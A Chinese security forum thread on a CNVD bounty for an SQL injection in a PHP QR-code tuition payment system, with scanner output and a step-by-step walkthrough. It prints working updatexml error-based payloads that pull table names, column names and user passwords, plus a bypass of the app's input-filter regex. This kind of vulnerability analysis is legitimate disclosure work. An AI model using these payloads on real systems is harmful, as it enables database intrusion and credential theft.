【官方悬赏】CNVD-2020-27165(悬赏等级:中)

CNVD 编号

CNVD-2020-27165

危害级别

(AV:N/AC:L/Au:N/C:C/I:N/A:N)

影响产品

php简易扫码付教育收费系统 php简易扫码付教育收费系统 1.0

漏洞描述

php简易扫码付教育收费系统是一个以Php+MySql进行开发的查询与收费软件。

php简易扫码付教育收费系统in***.php存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。

漏洞解决方案

暂无

悬赏时间

2020.5.12

悬赏种类

官方悬赏

悬赏问题

该漏洞具体细节

悬赏解决方式

在论坛【悬赏细节】版面对于本漏洞进行漏洞分析

悬赏积分

3 酒币

悬赏状态

待解决

**2020-05-12 17:47:04 [ALRT] [php-parser/instance/condition_slover.go:41] [*] Found <? $__ANY__->getRow($__ARG__); at /Users/maple/Downloads/php-test2/1/php简易扫码付教育收费系统 v1.0/index.php:1:2895 is probably vulnerable.(Trace Graph at )**

**2020-05-12 17:47:04 [ALRT] [php-parser/instance/condition_slover.go:41] [*] Found <? conntable(); at /Users/maple/Downloads/php-test2/1/php简易扫码付教育收费系统 v1.0/install/index.php:1:5068 is probably vulnerable.(Trace Graph at )**

**2020-05-12 17:47:04 [ALRT] [php-parser/instance/condition_slover.go:41] [*] Found <? ig(); at /Users/maple/Downloads/php-test2/1/php简易扫码付教育收费系统 v1.0/install/index.php:1:5122 is probably vulnerable.(Trace Graph at )**

**2020-05-12 17:47:04 [ALRT] [php-parser/instance/condition_slover.go:41] [*] Found <? se(); at /Users/maple/Downloads/php-test2/1/php简易扫码付教育收费系统 v1.0/install/index.php:1:5169 is probably vulnerable.(Trace Graph at )**

**2020-05-12 17:47:04 [ALRT] [php-parser/instance/condition_slover.go:41] [*] Found <? $__ANY__->getRow($__ARG__); at /Users/maple/Downloads/php-test2/1/php简易扫码付教育收费系统 v1.0/user/doajax.php:1:497 is probably vulnerable.(Trace Graph at )**

**2020-05-12 17:47:04 [ALRT] [php-parser/instance/condition_slover.go:41] [*] Found <? $__ANY__->getRow($__ARG__); at /Users/maple/Downloads/php-test2/1/php简易扫码付教育收费系统 v1.0/user/doedit.php:1:631 is probably vulnerable.(Trace Graph at )**

**2020-05-12 17:47:04 [ALRT] [php-parser/instance/condition_slover.go:41] [*] Found <? $__ANY__->getRow($__ARG__); at /Users/maple/Downloads/php-test2/1/php简易扫码付教育收费系统 v1.0/user/douser.php:1:4936 is probably vulnerable.(Trace Graph at )**

**2020-05-12 17:47:04 [ALRT] [php-parser/instance/condition_slover.go:41] [*] Found <? $__ANY__->getRow($__ARG__); at /Users/maple/Downloads/php-test2/1/php简易扫码付教育收费系统 v1.0/user/duajax.php:1:293 is probably vulnerable.(Trace Graph at )**

**2020-05-12 17:47:04 [ALRT] [php-parser/instance/condition_slover.go:41] [*] Found <? $__ANY__->getRow($__ARG__); at /Users/maple/Downloads/php-test2/1/php简易扫码付教育收费系统 v1.0/user/index.php:1:425 is probably vulnerable.(Trace Graph at )**

2 个赞

这是哪个工具扫描的结果?

当然是我自己写的啊-.-

强强强

吊吊吊

悬赏细节

php简易扫码付教育收费系统v1.0前台sql注入

  • 问题出现在前台index.php文件中,此系统并未针对用户输入进行安全处理就执行了sql语句

image

  • 我这边直接开启调试运行,可以很明显看到,目标将要查询的手机号传入$tw参数

image

  • 继续向下执行,$tw参数未进行过滤直接拼接到$sqs参数中

image

  • 随即同样直接拼接到$sql参数中传入getRow函数

image

  • 在getRow函数将语句传入query函数

image

  • 在query函数中执行了sql语句,由此开始尝试构造payload:1111' or updatexml(1,concat(0x02,(select database()),0x02),1) -- +

image

  • sql语句成功执行,获得数据库名称 phppay (这是自己搭环境时设置的数据库名称)

image

  • 准备获取表名时,出现了安全警告,发现存在过滤,检查后,发现有一个全局的用户输入的过滤

image

//get拦截规则
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
  • 正则看的有些乱,只是大概看到正则匹配了select from组合

image

  • 在select后加入+符号进行绕过,构造payload:1111'or updatexml(1,concat(0x02,(select+ group_concat(table_name) from information_schema.tables where table_schema='phppay'),0x02),1)-- +

  • sql语句成功执行,获得数据库的表名

image

  • 同理,构造payload:1111'or updatexml(1,concat(0x02,(select+ group_concat(column_name) from information_schema.columns where table_name='user' and table_schema='phppay'),0x02),1)-- +

  • sql语句成功执行,获得user表的列名

image

  • 同理,构造payload:1111'or updatexml(1,concat(0x02,(select+ group_concat(wi,0x02,password) from phppay.user limit 0,1),0x02),1)-- +

  • sql语句成功执行,获得user表的账号密码

结束

4 个赞

师傅分析的很精细,6666

师傅的工具现在共享出来了吗

好问题,如果让它现在再来扫的话,要比上面的结果精细更多. 但是它被我封存了,因为没第二个人懂它,若未来有机会也说不定.

这个工具有点厉害

公布出来,懂你的人会更多

1009581613 怎么加你呢

怎么加您呢